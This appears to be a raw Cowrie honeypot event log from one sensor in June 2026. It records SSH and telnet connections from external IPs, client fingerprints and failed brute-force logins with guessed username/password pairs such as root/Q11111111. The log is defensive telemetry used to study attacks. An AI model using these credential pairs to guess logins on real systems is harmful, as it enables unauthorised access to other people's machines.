{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:27.236028Z","src_ip":"197.5.145.150","session":"495b0fd56aeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.85265612602234,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:29.820620Z","src_ip":"128.199.8.54","session":"b8b844cbcae3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":51110,"dst_ip":"10.17.0.5","dst_port":22,"session":"7168918331e2","protocol":"ssh","message":"New connection: 141.11.88.14:51110 (10.17.0.5:22) [session: 7168918331e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:29.952843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:30.217734Z","src_ip":"141.11.88.14","session":"7168918331e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:30.221679Z","src_ip":"141.11.88.14","session":"7168918331e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"12345","message":"login attempt [devops/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:30.742708Z","src_ip":"141.11.88.14","session":"7168918331e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.09419775009155,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:31.669370Z","src_ip":"172.81.62.90","session":"cbabafcc76b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:31.886600Z","src_ip":"141.11.88.14","session":"7168918331e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":43990,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cb706443df8","protocol":"ssh","message":"New connection: 27.71.230.31:43990 (159.203.135.109:22) [session: 6cb706443df8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:32.513612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:32.566362Z","src_ip":"27.71.230.31","session":"6cb706443df8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:33.287610Z","src_ip":"27.71.230.31","session":"6cb706443df8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":47774,"dst_ip":"10.17.0.5","dst_port":22,"session":"46cc1b9418f1","protocol":"ssh","message":"New connection: 141.11.88.14:47774 (10.17.0.5:22) [session: 46cc1b9418f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:38.921580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:38.979387Z","src_ip":"141.11.88.14","session":"46cc1b9418f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:39.074166Z","src_ip":"141.11.88.14","session":"46cc1b9418f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234567","message":"login attempt [ubuntu/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:39.597810Z","src_ip":"141.11.88.14","session":"46cc1b9418f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:40.695904Z","src_ip":"141.11.88.14","session":"46cc1b9418f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.103697299957275,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:44.192759Z","src_ip":"128.199.8.54","session":"99d1b32f711b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":47858,"dst_ip":"10.17.0.5","dst_port":22,"session":"f000fc18fd6f","protocol":"ssh","message":"New connection: 141.11.88.14:47858 (10.17.0.5:22) [session: f000fc18fd6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:46.128402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:46.145063Z","src_ip":"141.11.88.14","session":"f000fc18fd6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:46.243832Z","src_ip":"141.11.88.14","session":"f000fc18fd6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"professor","password":"professor","message":"login attempt [professor/professor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:46.606666Z","src_ip":"141.11.88.14","session":"f000fc18fd6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":3902,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d202f3315ed","protocol":"ssh","message":"New connection: 177.85.247.230:3902 (10.17.0.5:22) [session: 5d202f3315ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:46.767834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:46.774680Z","src_ip":"177.85.247.230","session":"5d202f3315ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password$1233456","message":"login attempt [root/Password$1233456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:46.829255Z","src_ip":"27.71.230.31","session":"6cb706443df8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:46.877554Z","src_ip":"177.85.247.230","session":"5d202f3315ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Q11111111","message":"login attempt [root/Q11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:47.325214Z","src_ip":"177.85.247.230","session":"5d202f3315ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:47.950666Z","src_ip":"141.11.88.14","session":"f000fc18fd6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:48.226489Z","src_ip":"27.71.230.31","session":"6cb706443df8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.35908818244934,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:48.366993Z","src_ip":"172.81.62.90","session":"5db5e80a0b66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:48.431526Z","src_ip":"177.85.247.230","session":"5d202f3315ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":22226,"dst_ip":"10.17.0.5","dst_port":22,"session":"34e4194d6d88","protocol":"ssh","message":"New connection: 141.11.88.14:22226 (10.17.0.5:22) [session: 34e4194d6d88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:53.827065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:53.926030Z","src_ip":"141.11.88.14","session":"34e4194d6d88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:53.929318Z","src_ip":"141.11.88.14","session":"34e4194d6d88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"123456","message":"login attempt [devuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:54.462376Z","src_ip":"141.11.88.14","session":"34e4194d6d88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":37550,"dst_ip":"10.17.0.5","dst_port":22,"session":"a101b938d8d9","protocol":"ssh","message":"New connection: 197.5.145.150:37550 (10.17.0.5:22) [session: a101b938d8d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:55.234183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:55.238722Z","src_ip":"197.5.145.150","session":"a101b938d8d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:55.352948Z","src_ip":"197.5.145.150","session":"a101b938d8d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:55.653197Z","src_ip":"141.11.88.14","session":"34e4194d6d88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wang12345","message":"login attempt [root/wang12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:55.833847Z","src_ip":"197.5.145.150","session":"a101b938d8d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":55952,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf64cf95cb8d","protocol":"ssh","message":"New connection: 103.143.231.24:55952 (10.17.0.5:22) [session: cf64cf95cb8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:56.408544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:56.414647Z","src_ip":"103.143.231.24","session":"cf64cf95cb8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:56.489252Z","src_ip":"103.143.231.24","session":"cf64cf95cb8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1515","message":"login attempt [root/1515] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:56.801475Z","src_ip":"103.143.231.24","session":"cf64cf95cb8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:56.948536Z","src_ip":"197.5.145.150","session":"a101b938d8d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:08:57.874181Z","src_ip":"103.143.231.24","session":"cf64cf95cb8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":42154,"dst_ip":"10.17.0.5","dst_port":22,"session":"14a5afae649d","protocol":"ssh","message":"New connection: 141.11.88.14:42154 (10.17.0.5:22) [session: 14a5afae649d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:01.467326Z"}
